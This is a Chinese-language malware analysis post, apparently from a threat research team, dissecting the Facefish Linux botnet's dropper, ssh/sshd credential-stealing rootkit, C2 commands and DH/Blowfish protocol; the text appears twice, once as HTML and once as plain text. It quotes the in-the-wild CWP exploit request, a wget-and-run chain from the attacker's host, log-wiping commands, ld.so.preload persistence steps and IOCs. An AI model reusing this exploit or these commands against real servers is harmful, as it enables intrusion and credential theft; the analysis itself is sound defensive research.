<img src="__GHOST_URL__/content/images/2021/03/fish_env.png" width="860px" />
<h3 id="0x2config">0x2:解密Config</h3>
<p>原始的Config信息长度为128字节，采用Blowfish算法的CBC模式加密，以overlay的形式储存在文件尾部。其中Blowfish的解密key&iv如下：</p>
<ul>
<li>key:buil</li>
<li>iv:00 00 00 00 00 00 00 00</li>
</ul>
<p>值得一提的是在使用Blowfish时，其作者在编码过程中，玩了一个小trick来“恶心”安全研究人员，以下图代码片段为例：</p>
<p><img src="__GHOST_URL__/content/images/2021/03/fish_blow.png" alt="fish_blow" loading="lazy"></p>
<p>第一眼看上去，会让人以为Blowfish的密钥为"build"。注意第3个参数为4，即密钥的长度为4字节，所以真实的密钥为"buil"。</p>
<p>以原始的Config为例，</p>
<pre><code>BD E8 3F 94 57 A4 82 94 E3 B6 E9 9C B7 91 BC 59
5B B2 7E 74 2D 2E 2D 9B 94 F6 E5 3A 51 C7 D8 56
E4 EF A8 81 AC EB A6 DF 8B 7E DB 5F 25 53 62 E2
00 A1 69 BB 42 08 34 03 46 AF A5 7B B7 50 97 69
EB B2 2E 78 68 13 FA 5B 41 37 B6 D0 FB FA DA E1
A0 9E 6E 5B 5B 89 B7 64 E8 58 B1 79 2F F5 0C FF
71 64 1A CB BB E9 10 1A A6 AC 68 AF 4D AD 67 D1
BA A1 F3 E6 87 46 09 05 19 72 94 63 9F 50 05 B7
</code></pre>
<p>解密后的Config如下所示，可以看到其中的c2:port信息（176.111.174.26:443）。</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_dec.png" width="860px" />
<p>各字段具体的含义如下:</p>
<table>
<thead>
<tr>
<th>offset</th>
<th>length</th>
<th>meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00</td>
<td>4</td>
<td>magic</td>
</tr>
<tr>
<td>0x0c</td>
<td>4</td>
<td>interval</td>
</tr>
<tr>
<td>0x10</td>
<td>4</td>
<td>offset of c2</td>
</tr>
<tr>
<td>0x14</td>
<td>4</td>
<td>port</td>
</tr>
<tr>
<td>0x20(pointed by 0x10)</td>
<td></td>
<td>c2</td>
</tr>
</tbody>
</table>
<p>解密完成后，通过以下代码片段对Config进行校验，校验方法比较简单，即比较magic值是不是<code>0xCAFEBABE</code>，当校验通过后，进入配置Rootkit阶段。</p>
<p><img src="__GHOST_URL__/content/images/2021/03/fish_check.png" alt="fish_blow" loading="lazy"></p>
<h3 id="0x3rootkit">0x3:配置Rootkit</h3>
<p>首先以当前时间为种子随机生成16个字节做为新的Blowfish的加密key，将上阶段的解密得到的Config使用新的key重新加密。</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_newkey.png" width="860px" />
<p>然后利用标志<code>0xCAFEBABEDEADBEEF</code>定位Dropper中的Rootkit的特定位置，写入新的加密key以及重新加密后的Config信息。</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_confroot.png" width="860px" />
<p>文件的变化如下所示：<br>
写入之前：</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_emconf.png" width="860px" />
<p>写入之后：</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_newconf.png" width="860px" />
<p>在这个过程中因为加密key是随机生成的，所以不同时间释放的Rootkit的MD5值是不一样的，我们推测，这种设计是用来对抗杀软黑白HASH检测。</p>
<p><img src="__GHOST_URL__/content/images/2021/03/fish_rodiff.png" alt="fish_blow" loading="lazy"></p>
<p>另外值得一提的是，Facefish专门对FreeBSD操作系统做了支持。实现方法比较简单，如下图所示，即通过判断cat二进制中的EI_OSABI是否等于9，如果是则把Rootkit中的EI_OSABI值修改成9。<br>
<img src="__GHOST_URL__/content/images/2021/05/fish_freebsd.png" alt="fish_freebsd" loading="lazy"></p>
<h3 id="0x4rootkit">0x4:释放并启动Rootkit</h3>
<p>将上阶段配置好的的Rootkit写到 <code>/lib64/libs.so</code>文件中，同时向<code>/etc/ld.so.preload</code>写入以下内容实现Rootkit的预加载。</p>
<pre><code> /lib64/libs.so
</code></pre>
<p>通过以下命令重起ssh服务，让Rootkit有机会加载到sshd程序中</p>
<pre><code>/etc/init.d/sshd restart
/etc/rc.d/sshd restart
service ssh restart
systemctl restart ssh
systemctl restart sshd.service
</code></pre>
<p>实际效果如下所示：</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_mod.png" width="860px" />
<p>至此Dropper的任务完成，Rootkit开始工作。</p>
<h2 id="stage2rootkit">Stage 2:Rootkit分析</h2>
<p>Facefish的Rootkit模块<code>libs.so</code>工作在Ring3层，通过LD_PRELOAD特性加载，它基本信息如下所示：</p>
<blockquote>
<p>MD5:d6ece2d07aa6c0a9e752c65fbe4c4ac2</p>
<p>ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, stripped</p>
</blockquote>
<p>在IDA中能看到它导出了3个函数，根据preload机制，当rootkit被加载时，它们会替代libc的同名函数，实现hook。<br>
<img src="__GHOST_URL__/content/images/2021/05/face_export.png" alt="face_export" loading="lazy"><br>
<code>init_proc函数</code>，它的主要功能是hook ssh/sshd进程中的相关函数以窃取登录凭证。<br>
<code>bind函数</code>，它的主要功能是上报设备信息，等待执行C2下发的指令。<br>
<code>start函数</code>，它的主要功能是为网络通信中的密钥交换过程计算密钥。</p>
<h2 id="init_proc">.init_proc 函数分析</h2>
<p>.init_proc函数首先会解密Config，取得C2,PORT等相关信息，然后判断被注入的进程是否为SSH/SSHD，如果是则对处理凭证的相关函数进行HOOK，最终当ssh主动对处连接，或sshd被动收到外部连接时，Facefish在Hook函数的帮助下，窃取登录凭着并发送给C2。</p>
<h3 id="0x1ssh">0x1 寻找SSH</h3>
<p>如果当前系统为FreeBSD则，通过dlopen函数获取link_map结构的地址，利用link_map可以遍历当前进程所加载的模块，进而找到SSH相关模块。</p>
<p><img src="__GHOST_URL__/content/images/2021/05/fish_fmap.png" alt="fish_fmap" loading="lazy"></p>
<p>如果当前系统不是FreeBSD，则通过<code>.got.plt</code> 表的第2项，得到link_map的地址。</p>
<p><img src="__GHOST_URL__/content/images/2021/05/fish_nmap.png" alt="fish_nmap" loading="lazy"></p>
<p>得到SSH相关模块后，接着判断模块是否为ssh/sshd，方法比较简单，即验证模块中是否有以下字串。通过这一点，可知Facefish事实上只攻击OpenSSH实现的client/server。</p>
<pre><code>1:usage: ssh
2:OpenSSH_
</code></pre>
<h3 id="0x2hook">0x2 HOOK函数</h3>
<p>首先，Facefish会查找hook的函数地址</p>
<p>其中要hook的ssh函数如所示：</p>
<img src="__GHOST_URL__/content/images/2021/05/fish_sshproc.png" width="860px" />
<p>要hook的sshd函数如下所示：</p>
<img src="__GHOST_URL__/content/images/2021/05/fish_sshdproc.png" width="860px" />
<p>如果没有找到，则将函数名加上前缀<code>Fssh_</code>再找一次。如果还是没有找到，则通过函数中的字串间接定位到函数。最后通过以下代码片断实现Hook。</p>
<p><img src="__GHOST_URL__/content/images/2021/05/fish_hook.png" alt="face_hook" loading="lazy"></p>
<p>实际中HOOK前后的对比如下所示：<br>
<img src="__GHOST_URL__/content/images/2021/05/fish_comp.png" width="860px" /></p>
<h3 id="0x3">0x3 窃取登录凭证</h3>
<p>Facefish在Hook后的函数帮助下，窃取登录凭证，并上报给C2。</p>
<p><img src="__GHOST_URL__/content/images/2021/05/fish_upinfo.png" alt="fish_upinfo" loading="lazy"></p>
<p>上报的数据格式为<code>%08x-%08x-%08x-%08x,%s,%s,%s,%s,%s</code>，其中前32节节为加密的key，后面跟着账号，远程主机，密码等信息。</p>
<p>实际中上报的信息如下所示：</p>
<img src="__GHOST_URL__/content/images/2021/05/fish_pass.png" width="860px" />
<h2 id="bind">bind 函数分析</h2>
<p>一旦用户通过ssh登录，将会触发bind函数接着执行一系列后门行为，具体分析如下：</p>
<p>如果后门初始化正常，首先会fork后门子进程并进入连接C2的指令循环，父进程则通过syscall(0x68/0x31)调用真正的bind函数。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508170340084-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><h3 id="0x1">0x1: 主机行为</h3>
<p>判断sshd父进程是否存在，如果父进程退出，则后门进程也退出。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508170431037-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>如果父进程存在开始收集主机信息，包括：CPU型号、Arch，内存大小、硬盘大小、ssh服务相关配置文件和凭证数据。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508165505995-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>CPU型号</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508170040197-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>内存</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508170138167-2.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>硬盘</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508170600524-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>网络设备</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508173142888-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>SSH服务相关</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508170834920-1.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508173314536-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><h3 id="0x2c2">0x2: C2指令介绍</h3>
<p>Facefish使用的通信协议及加密算法比较复杂，其中0x2XX开头的指令用来交换公钥，我们在下一小节进行详细分析。0x3XX开头的指令是真正的C2功能指令。这里先对C2的功能指令做简单说明。</p>
<ul>
<li>
<p>发 0x305</p>
<p>是否发送上线信息0x305，如果没有则收集信息并上报。</p>
</li>
</ul>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508173614278-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><ul>
<li>
<p>发0x300</p>
<p>功能上报窃取的凭证信息</p>
</li>
<li>
<p>发0x301</p>
<p>收集uname信息，组包并发送0x301，等待进一步指令。</p>
</li>
</ul>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508174238407-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><ul>
<li>
<p>收0x302</p>
<p>接受指令0x302，反向shell。</p>
</li>
</ul>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508174458428-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><ul>
<li>
<p>收0x310</p>
<p>接受指令0x310，执行任意的系统命令</p>
</li>
</ul>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508175705147-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><ul>
<li>
<p>发0x311</p>
<p>发指令0x311，返回系统命令的执行结果</p>
</li>
<li>
<p>收0x312</p>
<p>接受指令0x312，重新收集并上报主机信息。</p>
</li>
</ul>
<h3 id="0x3">0x3: 通信协议分析</h3>
<p>Facefish的rootkit使用了一个自定义的加密协议进行C2通信，该协议使用DH <a href="https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange">(Diffie–Hellman)</a> 算法进行密钥协商，使用BlowFish对称加密算法进行数据加密。具体运行时，单次C2会话可以分为两个阶段，第一阶段对应密钥协商，第二阶段便是使用协商好的密钥进行C2加密通信。Facefish的每次C2会话只收取并解密一条C2指令，然后便会结束。不难看出，因为使用了DH和Blowfish算法，仅从流量数据入手是无法获取其C2通信内容的，而且这种一次一密的通信也不会留下用于精准识别的流量特征。</p>
<p>一般来说使用DH协议框架通信最简便的方法是使用OpenSSL库，而Facefish的作者自己编码(或者使用了某些开源项目)实现了整个通信过程，因为没有引入第三方库所以代码体积非常精减。</p>
<ul>
<li>
<p>DH通信原理</p>
<p>为了更好的理解Facefish的密钥交换代码，我们需要先简单了解一下DH通信原理。这里不讨论背后的数学原理，而是用一个简单的例子直接套公式描述通信过程。</p>
<p>step 1. 甲生成一个随机数 a=4，选择一个素数 p=23，和一个底数 g=5，并计算出 公钥A:<code>A= g^a%p = 5^4%23 = 4</code>，然后将p，g，A同时发送给乙。</p>
<p>step 2. 乙收到上述信息后也生成一个随机数 b=3，使用同样的公式算出公钥B:<code>B = g^b%p = 5^3%23 = 10</code>，然后将B发送给甲。同时乙计算出双方共享的机密值用于生成后续的Blowfish密钥: <code>s = A^b%p = (g^a)^b%p = 18</code>。</p>
<p>step 3. 甲收到B后也可以计算出共享机密值：<code>s = B^a%p = (g^b)^a%p = 18</code></p>
<p>step 4. 甲乙双方基于共享机密s生成blowfish密钥，进行加密C2通信。</p>
<p>实质上通过简单推导可以看出甲和乙计算s的公式是同一个 ：</p>
</li>
</ul>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/formlua-2.PNG" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>在整个算法中有一个关键的数学函数求幂取模 power(x, y) mod z，当x，y都很大的时候直接求解比较困难，所以就用到了<a href="https://oi-wiki.org/math/quick-pow/">快速幂取模算法</a>。前文提到的<code>start</code>函数正是快速幂取模 binpow() 中的关键代码，</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210510123409286-1.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210510123553608-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><ul>
<li>
<p>协议分析</p>
<p>发包和收包使用相同的数据结构。</p>
<pre><code class="language-c"> struct package{
struct header{
WORD payload_len; //payload长度
WORD cmd; //指令编码
DWORD payload_crc; // payload crc校验值
} ;
struct header hd;
unsigned char payload[payload_len]; // 数据
}
</code></pre>
<p>以构造0x200指令数据包为例可以定义数据包如下：</p>
<pre><code class="language-c">struct package pkg = {
.hd.payload_len = 0;
.hd.cmd = 0x200;
.hd.payload_crc = 0;
.payload = "";
}
</code></pre>
<p>对照DH通信原理和流量数据我们分析通信协议：</p>
</li>
</ul>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210510104153887-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><ol>
<li>
<p>bot首先发送指令0x200，payload数据为空。</p>
</li>
<li>
<p>C2回复了指令0x201，payload长度为24个字节，按小端转换成3个 64位的数值，分别对应step1中甲发送的3个关键数据，p=0x294414086a9df32a，g=0x13a6f8eb15b27aff, A=0x0d87179e844f3758。</p>
</li>
<li>
<p>对应step2，bot在本地生成了一个随机数b，然后根据收到的p，g 生成B=0x0e27ddd4b848924c，通过指令0x202发送给C2。至此完成了共享机密的协商。</p>
</li>
</ol>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210510115024505-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><ol start="4">
<li>对应step3，bot和C2通过公钥A和公钥B生成Blowfish密钥s和iv。其中iv是通过p和g异或得到的。</li>
</ol>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/DH_blowfish_encrypt_s.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/DH_blowfish_encrypt-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><ol start="5">
<li>
<p>有了iv 和 s 我们可以对通信数据进行加解密。真正的通信数据采用BlowFish算法加解密，和前文提到的配置文件加密的方法是一致的。bot向C2发送0x305指令，长度为0x1b0，内容是BlowFish加密后的上线包数据。</p>
<p>解密后的上线包数据如下：</p>
</li>
</ol>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210510190724649-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><h1 id="ioc">IOC</h1>
<p>Sample MD5</p>
<pre><code>38fb322cc6d09a6ab85784ede56bc5a7 sshins
d6ece2d07aa6c0a9e752c65fbe4c4ac2 libs.so
</code></pre>
<p>C2</p>
<pre><code>176.111.174.26:443
</code></pre>
<!--kg-card-end: markdown--> | 背景介绍
2021年2月，我们捕获了一个通过CWP的Nday漏洞传播的未知ELF样本，简单分析后发现这是一个新botnet家族的样本。它针对Linux x64系统，配置灵活，并且使用了一个基于Diffie–Hellman和Blowfish的私有加密协议。但因为通过合作机构（在中国区有较好网络通信观察视野）验证后发现对应的C2通信命中为0，所以未再深入分析。
2021年4月26号，Juniper发布了关于此样本的分析报告，我们注意到报告中忽略了一些重要的技术细节，所以决定将漏掉的细节分享出来。
该家族的入口ELF样本MD5=38fb322cc6d09a6ab85784ede56bc5a7是一个Dropper，它会释放出一个Rootkit。因为Juniper并未为样本定义家族名，鉴于Dropper在不同的时间点释放的Rootkit有不同的MD5值，犹如川剧中的变脸，并且该家族使用了Blowfish加密算法，我们将它命名为Facefish。
Facefish概览
Facefish由Dropper和Rootkit 2部分组成，主要功能由Rootkit模块决定。Rootkit工作在Ring3层，利用LD_PRELOAD特性加载，通过Hook ssh/sshd程序的相关函数以窃取用户的登录凭证，同时它还支持一些后门功能。因此可以将Facefish定性为，一款针对Linux平台的窃密后门。
Facefish的主要功能有
* 上报设备信息
* 窃取用户凭证
* 反弹Shell
* 执行任意命令
基本流程如下图所示：
传播方式
在野利用的漏洞如下所示
POST /admin/index.php?scripts=.%00./.%00./client/include/inc_index&service_start=;cd%20/usr/bin;%20/usr/bin/wget%20http://176.111.174.26/76523y4gjhasd6/sshins;%20chmod%200777%20/usr/bin/sshins;%20ls%20-al%20/usr/bin/sshins;%20./sshins;%20cat%20/etc/ld.so.preload;%20rm%20-rf%20/usr/bin/sshins;%20sed%20-i%20'/sshins/d'%20/usr/local/cwpsrv/logs/access_log;%20history%20-c;&owner=root&override=1&api_key=%00%00%C2%90 HTTP/1.1
Host: xxx.xx.xx.xx:2031
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 0
将与Facefish相关部分转码后，得到以下执行命令序列，可以看出主要功能为下载执行第一阶段的payload，然后清理痕迹。
cd /usr/bin;
/usr/bin/wget http://176.111.174.26/76523y4gjhasd6/sshins;
chmod 0777 /usr/bin/sshins;
ls -al /usr/bin/sshins; ./sshins;
cat /etc/ld.so.preload;
rm -rf /usr/bin/sshins;
sed -i '/sshins/d' /usr/local/cwpsrv/logs/access_log;
history -c
逆向分析
简单来说，Facefish的感染程序可以分成3个阶段，
Stage 0: 预备阶段，通过漏洞传播，在设备上植入Dropper
Stage 1: 释放阶段，Dropper释放出Rootkit
Stage 2:业务阶段，Rootkit 收集回传敏感信息，等待执行C2下发的指令
下文将从Stage 1到Stage 2着手，分析Facefish的各个阶段的技术细节。
Stage 1:Dropper分析
Dropper的基体信息如下所示，主要功能为检测运行环境，解密存有C2信息的Config， 配置Rootkit，最后释放并启动Rootkit。
MD5:38fb322cc6d09a6ab85784ede56bc5a7
ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped
Packer: UPX
另处值得一提的是，Drooper在二进制层面，采用了一些tricks来对抗杀软的查杀。
Trick 1:upx with overlay
如下图所示，将加密的Config数据作为overlay，填充到upx加壳后的样本尾部。
这种做法的目的有2个:
1. 对抗upx脱壳
2. Config数据与样本解耦，可以通过工具更新Config，无需再编译源码，方便在黑市流通
Trick 2:elf without sections
如下图所示，脱壳后样本中的section信息被抹除了
这种做法的目的有2个:
1. 某些依赖section的信息进行分析的工具无法正常工作，抹除section在一定程度上加大了分析难度
2. 某些杀毒引擎依赖section信息生成特征的的检测区，抹除section在一定程度上实现了免杀
Dropper主要功能
Dropper运行时会输出下图中的信息：
根据这个信息，我们将Dropper的功能分成了以下4个阶段
1. 检测运行环境
2. 解密Config
3. 配置Rootkit
4. 释放并启动Rootkit
0x1:检测运行环境
首先读取/bin/cat的前16个字节，通过判断第5个字节(EI_CLASS)的值来判断当前系统的位数,目前Facefish只支持x64系统。然后检查自身否在root权限下运行，最后尝试从自身文件尾部 读入Config信息。其中任一环节失败，Facefish都将放弃感染，直接退出。
0x2:解密Config
原始的Config信息长度为128字节，采用Blowfish算法的CBC模式加密，以overlay的形式储存在文件尾部。其中Blowfish的解密key&iv如下：
* key:buil
* iv:00 00 00 00 00 00 00 00
值得一提的是在使用Blowfish时，其作者在编码过程中，玩了一个小trick来“恶心”安全研究人员，以下图代码片段为例：
第一眼看上去，会让人以为Blowfish的密钥为"build"。注意第3个参数为4，即密钥的长度为4字节，所以真实的密钥为"buil"。
以原始的Config为例，
BD E8 3F 94 57 A4 82 94 E3 B6 E9 9C B7 91 BC 59
5B B2 7E 74 2D 2E 2D 9B 94 F6 E5 3A 51 C7 D8 56
E4 EF A8 81 AC EB A6 DF 8B 7E DB 5F 25 53 62 E2
00 A1 69 BB 42 08 34 03 46 AF A5 7B B7 50 97 69
EB B2 2E 78 68 13 FA 5B 41 37 B6 D0 FB FA DA E1
A0 9E 6E 5B 5B 89 B7 64 E8 58 B1 79 2F F5 0C FF
71 64 1A CB BB E9 10 1A A6 AC 68 AF 4D AD 67 D1
BA A1 F3 E6 87 46 09 05 19 72 94 63 9F 50 05 B7
解密后的Config如下所示，可以看到其中的c2:port信息（176.111.174.26:443）。
各字段具体的含义如下:
offset
length
meaning
0x00
4
magic
0x0c
4
interval
0x10
4
offset of c2
0x14
4
port
0x20(pointed by 0x10)
c2
解密完成后，通过以下代码片段对Config进行校验，校验方法比较简单，即比较magic值是不是0xCAFEBABE，当校验通过后，进入配置Rootkit阶段。
0x3:配置Rootkit
首先以当前时间为种子随机生成16个字节做为新的Blowfish的加密key，将上阶段的解密得到的Config使用新的key重新加密。
然后利用标志0xCAFEBABEDEADBEEF定位Dropper中的Rootkit的特定位置，写入新的加密key以及重新加密后的Config信息。
文件的变化如下所示：
写入之前：
写入之后：
在这个过程中因为加密key是随机生成的，所以不同时间释放的Rootkit的MD5值是不一样的，我们推测，这种设计是用来对抗杀软黑白HASH检测。
另外值得一提的是，Facefish专门对FreeBSD操作系统做了支持。实现方法比较简单，如下图所示，即通过判断cat二进制中的EI_OSABI是否等于9，如果是则把Rootkit中的EI_OSABI值修改成9。
0x4:释放并启动Rootkit
将上阶段配置好的的Rootkit写到 /lib64/libs.so文件中，同时向/etc/ld.so.preload写入以下内容实现Rootkit的预加载。
/lib64/libs.so
通过以下命令重起ssh服务，让Rootkit有机会加载到sshd程序中
/etc/init.d/sshd restart
/etc/rc.d/sshd restart
service ssh restart
systemctl restart ssh
systemctl restart sshd.service
实际效果如下所示：
至此Dropper的任务完成，Rootkit开始工作。
Stage 2:Rootkit分析
Facefish的Rootkit模块libs.so工作在Ring3层，通过LD_PRELOAD特性加载，它基本信息如下所示：
MD5:d6ece2d07aa6c0a9e752c65fbe4c4ac2
ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, stripped
在IDA中能看到它导出了3个函数，根据preload机制，当rootkit被加载时，它们会替代libc的同名函数，实现hook。
init_proc函数，它的主要功能是hook ssh/sshd进程中的相关函数以窃取登录凭证。
bind函数，它的主要功能是上报设备信息，等待执行C2下发的指令。
start函数，它的主要功能是为网络通信中的密钥交换过程计算密钥。
.init_proc 函数分析
.init_proc函数首先会解密Config，取得C2,PORT等相关信息，然后判断被注入的进程是否为SSH/SSHD，如果是则对处理凭证的相关函数进行HOOK，最终当ssh主动对处连接，或sshd被动收到外部连接时，Facefish在Hook函数的帮助下，窃取登录凭着并发送给C2。
0x1 寻找SSH
如果当前系统为FreeBSD则，通过dlopen函数获取link_map结构的地址，利用link_map可以遍历当前进程所加载的模块，进而找到SSH相关模块。
如果当前系统不是FreeBSD，则通过.got.plt 表的第2项，得到link_map的地址。
得到SSH相关模块后，接着判断模块是否为ssh/sshd，方法比较简单，即验证模块中是否有以下字串。通过这一点，可知Facefish事实上只攻击OpenSSH实现的client/server。
1:usage: ssh
2:OpenSSH_
0x2 HOOK函数
首先，Facefish会查找hook的函数地址
其中要hook的ssh函数如所示：
要hook的sshd函数如下所示：
如果没有找到，则将函数名加上前缀Fssh_再找一次。如果还是没有找到，则通过函数中的字串间接定位到函数。最后通过以下代码片断实现Hook。
实际中HOOK前后的对比如下所示：
0x3 窃取登录凭证
Facefish在Hook后的函数帮助下，窃取登录凭证，并上报给C2。
上报的数据格式为%08x-%08x-%08x-%08x,%s,%s,%s,%s,%s，其中前32节节为加密的key，后面跟着账号，远程主机，密码等信息。
实际中上报的信息如下所示：
bind 函数分析
一旦用户通过ssh登录，将会触发bind函数接着执行一系列后门行为，具体分析如下：
如果后门初始化正常，首先会fork后门子进程并进入连接C2的指令循环，父进程则通过syscall(0x68/0x31)调用真正的bind函数。
0x1: 主机行为
判断sshd父进程是否存在，如果父进程退出，则后门进程也退出。
如果父进程存在开始收集主机信息，包括：CPU型号、Arch，内存大小、硬盘大小、ssh服务相关配置文件和凭证数据。
CPU型号
内存
硬盘
网络设备
SSH服务相关
0x2: C2指令介绍
Facefish使用的通信协议及加密算法比较复杂，其中0x2XX开头的指令用来交换公钥，我们在下一小节进行详细分析。0x3XX开头的指令是真正的C2功能指令。这里先对C2的功能指令做简单说明。
*
发 0x305
是否发送上线信息0x305，如果没有则收集信息并上报。
*
发0x300
功能上报窃取的凭证信息
*
发0x301
收集uname信息，组包并发送0x301，等待进一步指令。
*
收0x302
接受指令0x302，反向shell。
*
收0x310
接受指令0x310，执行任意的系统命令
*
发0x311
发指令0x311，返回系统命令的执行结果
*
收0x312
接受指令0x312，重新收集并上报主机信息。
0x3: 通信协议分析
Facefish的rootkit使用了一个自定义的加密协议进行C2通信，该协议使用DH (Diffie–Hellman) 算法进行密钥协商，使用BlowFish对称加密算法进行数据加密。具体运行时，单次C2会话可以分为两个阶段，第一阶段对应密钥协商，第二阶段便是使用协商好的密钥进行C2加密通信。Facefish的每次C2会话只收取并解密一条C2指令，然后便会结束。不难看出，因为使用了DH和Blowfish算法，仅从流量数据入手是无法获取其C2通信内容的，而且这种一次一密的通信也不会留下用于精准识别的流量特征。
一般来说使用DH协议框架通信最简便的方法是使用OpenSSL库，而Facefish的作者自己编码(或者使用了某些开源项目)实现了整个通信过程，因为没有引入第三方库所以代码体积非常精减。
*
DH通信原理
为了更好的理解Facefish的密钥交换代码，我们需要先简单了解一下DH通信原理。这里不讨论背后的数学原理，而是用一个简单的例子直接套公式描述通信过程。
step 1. 甲生成一个随机数 a=4，选择一个素数 p=23，和一个底数 g=5，并计算出 公钥A:A= g^a%p = 5^4%23 = 4，然后将p，g，A同时发送给乙。
step 2. 乙收到上述信息后也生成一个随机数 b=3，使用同样的公式算出公钥B:B = g^b%p = 5^3%23 = 10，然后将B发送给甲。同时乙计算出双方共享的机密值用于生成后续的Blowfish密钥: s = A^b%p = (g^a)^b%p = 18。
step 3. 甲收到B后也可以计算出共享机密值：s = B^a%p = (g^b)^a%p = 18
step 4. 甲乙双方基于共享机密s生成blowfish密钥，进行加密C2通信。
实质上通过简单推导可以看出甲和乙计算s的公式是同一个 ：
在整个算法中有一个关键的数学函数求幂取模 power(x, y) mod z，当x，y都很大的时候直接求解比较困难，所以就用到了快速幂取模算法。前文提到的start函数正是快速幂取模 binpow() 中的关键代码，
*
协议分析
发包和收包使用相同的数据结构。
struct package{
struct header{
WORD payload_len; //payload长度
WORD cmd; //指令编码
DWORD payload_crc; // payload crc校验值
} ;
struct header hd;
unsigned char payload[payload_len]; // 数据
}
以构造0x200指令数据包为例可以定义数据包如下：
struct package pkg = {
.hd.payload_len = 0;
.hd.cmd = 0x200;
.hd.payload_crc = 0;
.payload = "";
}
对照DH通信原理和流量数据我们分析通信协议：
1.
bot首先发送指令0x200，payload数据为空。
2.
C2回复了指令0x201，payload长度为24个字节，按小端转换成3个 64位的数值，分别对应step1中甲发送的3个关键数据，p=0x294414086a9df32a，g=0x13a6f8eb15b27aff, A=0x0d87179e844f3758。
3.
对应step2，bot在本地生成了一个随机数b，然后根据收到的p，g 生成B=0x0e27ddd4b848924c，通过指令0x202发送给C2。至此完成了共享机密的协商。
4. 对应step3，bot和C2通过公钥A和公钥B生成Blowfish密钥s和iv。其中iv是通过p和g异或得到的。
5.
有了iv 和 s 我们可以对通信数据进行加解密。真正的通信数据采用BlowFish算法加解密，和前文提到的配置文件加密的方法是一致的。bot向C2发送0x305指令，长度为0x1b0，内容是BlowFish加密后的上线包数据。
解密后的上线包数据如下：
IOC
Sample MD5
38fb322cc6d09a6ab85784ede56bc5a7 sshins
d6ece2d07aa6c0a9e752c65fbe4c4ac2 libs.so
C2
176.111.174.26:443
